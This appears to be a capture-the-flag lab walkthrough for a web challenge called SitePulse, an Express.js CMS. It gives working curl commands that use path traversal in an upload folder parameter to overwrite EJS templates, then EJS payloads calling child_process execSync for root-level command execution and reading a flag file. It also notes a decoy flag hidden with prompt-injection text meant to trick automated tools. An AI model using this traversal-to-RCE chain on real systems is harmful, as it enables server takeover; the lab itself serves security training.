Lab 164 — SitePulse
Lab 164 — SitePulse
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: child_process_exec, decoy_flag_recognition, ejs_template_overwrite_to_rce, path_traversal_via_folder_parameter
Summary
Walkthrough of the CUSTOM Web Lab 164 — SitePulse. Task: Express.js CMS (SitePulse) with media upload feature accepting a folder parameter and EJS-based custom page rendering. Solution: Path traversal in the folder parameter (../templates) overwrites
Description
SitePulse is a modern content management platform used by marketing teams at Pulse Digital Co. to manage blog posts, media assets, and custom landing pages. The platform features a rich media library with folder-based organization, a custom page builder with EJS template support, and role-based access for team collaboration.
You've been given access to a staging instance of SitePulse running internally. The development team recently shipped a new media upload feature with folder organization, and there are whispers that the implementation was rushed to meet a deadline.
Your objective is to find a way to read the flag stored on the server.
English summary: Express.js CMS with EJS templating, media upload with folder organization, and custom pages rendered from EJS templates on disk. Goal is to read the flag from the server.
Analysis
Application Reconnaissance
- Stack: Express.js backend with EJS templating engine (SitePulse v2.4.1), behind nginx/1.25.5
- Auth: Logged in as Marcus Chen (editor role) with
user@test.com / password123 - Key endpoints: Dashboard (
/), Posts (/posts), Media (/media), Pages (/pages), Settings (/settings) - Custom Pages: Use EJS templates (
about.ejs,contact.ejs,careers.ejs) rendered at/page/<slug> - Pages info box: "Custom pages are rendered from EJS templates stored on the server. Each page is accessible at /page/{slug}."
Media Upload Feature
The media upload endpoint at POST /api/media/upload accepts multipart form data with two parameters:
file— the uploaded filefolder— destination subfolder (intended values:images,documents,branding)
Files are served at /uploads/<folder>/<filename> and stored on disk at /app/data/uploads/<folder>/<filename>.
Decoy Flag (Honeypot)
The HTML source contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden <div> elements and HTML comments with prompt injection text designed to trick automated tools. This is NOT the real flag.
Vulnerability: Path Traversal in Folder Parameter
The folder parameter allows path traversal using ../ sequences. The server has partial protection — it blocks double traversal ../.. (returns HTTP 500) — but allows a single ../ followed by a subdirectory name.
Directory Structure
/app/data/
├── uploads/ ← media upload destination
│ ├── images/
│ ├── documents/
│ └── branding/
└── templates/ ← EJS page templates (about.ejs, contact.ejs, careers.ejs)
Since templates are stored at /app/data/templates/ (a sibling of /app/data/uploads/), only a single level of traversal is needed:
/app/data/uploads/../templates = /app/data/templates/
This means folder=../templates writes uploaded files directly into the EJS templates directory, allowing overwrite of any page template.
Solution
Step 1: Login and Obtain Session Cookie
bash read-only • copy allowedURL="https://0fc031f8-c0f8-4d53-917b-b372a3f93d04.labs.hackadvisor.io" curl -sk -c cookies.txt "$URL/login" -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123"
Step 2: Confirm Path Traversal by Overwriting a Template
Upload a simple HTML file as about.ejs with folder=../templates:
bash read-only • copy allowedecho '<h1>OVERWRITE_TEST</h1>' > about.ejs curl -sk -b cookies.txt "$URL/api/media/upload" -X POST \ -F "file=@about.ejs;filename=about.ejs" \ -F "folder=../templates" # Response: {"success":true,"message":"File uploaded successfully"} curl -sk -b cookies.txt "$URL/page/about" # Response: <h1>OVERWRITE_TEST</h1> ← template successfully overwritten!
Step 3: Escalate to RCE via EJS Template Injection
Create about.ejs with an EJS payload that uses Node.js child_process to execute system commands:
ejs read-only • copy allowed<h1>RCE Test</h1> <pre><%- global.process.mainModule.require('child_process').execSync('id').toString() %></pre>
Upload and trigger:
bash read-only • copy allowedcurl -sk -b cookies.txt "$URL/api/media/upload" -X POST \ -F "file=@about.ejs;filename=about.ejs" \ -F "folder=../templates" curl -sk -b cookies.txt "$URL/page/about" # Response: uid=0(root) gid=0(root) groups=0(root)...
The application is running as root.
Step 4: Read the Flag
ejs read-only • copy allowed<pre><%- global.process.mainModule.require('child_process').execSync('cat /root/flag.txt').toString() %></pre>
bash read-only • copy allowedcurl -sk -b cookies.txt "$URL/api/media/upload" -X POST \ -F "file=@about.ejs;filename=about.ejs" \ -F "folder=../templates" curl -sk -b cookies.txt "$URL/page/about" # Response: FLAG{REDACTED}
Failed Attempts
- Wrong directory paths:
../views/pages,../pages,../data/pages,../../views/pages,../content/pages,../views/layouts— none reached the actual templates directory - Double traversal blocked:
../..returns HTTP 500 — server has a check for consecutive..sequences - Backslash bypass:
..\/..and..\\..\bypass the string check but don't traverse on Linux (backslash is a literal character) - URL-encoded variants:
..%2f..treated as literal characters in multipart form data, not decoded as path separators - Key breakthrough: Discovering that templates live at
/app/data/templates/(sibling ofuploads/), requiring only a single../templatestraversal that passes the server's filter
Key Takeaways / Lessons
- Mastering child_process_exec, decoy_flag_recognition, ejs_template_overwrite_to_rce, path_traversal_via_folder_parameter was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 164 — SitePulse • Difficulty: Medium